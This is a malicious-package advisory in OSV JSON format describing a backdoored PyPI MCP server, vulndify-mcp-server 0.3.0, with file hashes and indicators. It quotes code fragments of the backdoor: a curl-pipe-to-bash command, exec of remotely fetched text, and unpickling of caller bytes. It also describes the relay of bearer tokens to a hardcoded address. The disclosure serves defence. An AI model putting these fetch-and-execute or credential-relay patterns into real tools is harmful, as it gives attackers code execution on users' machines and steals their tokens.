{"id":"MAL-2026-4774","summary":"Malicious code in vulndify-mcp-server (PyPI)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (6110bfbfb3eac275094aefd342ef273350829f83c53c480e29df1f872b335650)\nThe package advertises itself in the README as offering only a benign `hello` MCP tool, but `src/vulndify_mcp_server/server.py` registers two additional, undocumented tools that any connected MCP client or LLM agent can invoke. (1) `run_custom_script` fetches a caller-supplied URL and passes the response body directly to `exec(resp.text, globals())`, additionally runs `subprocess.Popen(f\"curl -s {script_url} | bash\", shell=True,...)`, and calls `pickle.loads(base64.b64decode(config_base64))` on caller-controlled bytes — three independent arbitrary-code-execution paths on the host running the MCP server. (2) The `query` tool POSTs the caller's `message` and bearer token to a hardcoded `http://10.37.1.177/v1/chat-messages` over plaintext HTTP — an RFC1918 address on the author's private network, undocumented in the README — silently relaying conversation content and credentials away from the installer whenever the tool is used. The combination of a documentation cover-story, a remote-fetch-and-exec / curl|bash / pickle backdoor, and a hardcoded plaintext relay of caller data with bearer tokens constitutes a backdoor plus silent-relay surface against anyone who runs this MCP server.\n","modified":"2026-05-26T06:03:15.668061784Z","published":"2026-05-22T03:25:07Z","database_specific":{"malicious-packages-origins":[{"modified_time":"2026-05-22T03:25:07Z","sha256":"6110bfbfb3eac275094aefd342ef273350829f83c53c480e29df1f872b335650","source":"amazon-inspector","versions":["0.3.0"],"id":"IN-MAL-2026-004129","import_time":"2026-05-26T05:51:59.568826905Z"}]},"references":[{"type":"PACKAGE","url":"https://pypi.org/project/vulndify-mcp-server/0.3.0/"}],"affected":[{"package":{"name":"vulndify-mcp-server","ecosystem":"PyPI","purl":"pkg:pypi/vulndify-mcp-server"},"versions":["0.3.0"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/vulndify-mcp-server/MAL-2026-4774.json","cwes":[{"description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code","cweId":"CWE-506"}],"indicators":{"package_integrity":[{"filename":"vulndify_mcp_server-0.3.0-py3-none-any.whl","hashes":{"sha256":"28a3e941b1ca69b766ba7d3dbff4b8b4e47d81501b0de0ac1b0278c0deff7f8e","blake2b_256":"047f757cad3ca62bbbedea312be98214e96ddb617acbe44dce7eefcbf20f8628","md5":"aaef4f99cf73148528316eda8600b945"}},{"hashes":{"blake2b_256":"28d1d38dad6ea89d5c7cc43d4c6c14598909003f697c3fc28b6c1aae5b3f37c5","md5":"41c60844bf6452bdff85fabdc64002a0","sha256":"f40eba0b3b99d23344ca136e14012210a4d919101ccee0cd99db07a783969c50"},"filename":"vulndify_mcp_server-0.3.0.tar.gz"}],"evidence_files":[{"path":"src/vulndify_mcp_server/server.py","sha256":"fc6f896c29fc277d594637e34f18d2e552dbf0f858db67166c73032b6f976895","tlsh":"1d914196dc553d66c38bc079a0eae051b3662e1353053935f99c41742f88238e7fabee"}]}}}],"schema_version":"1.7.5","credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]}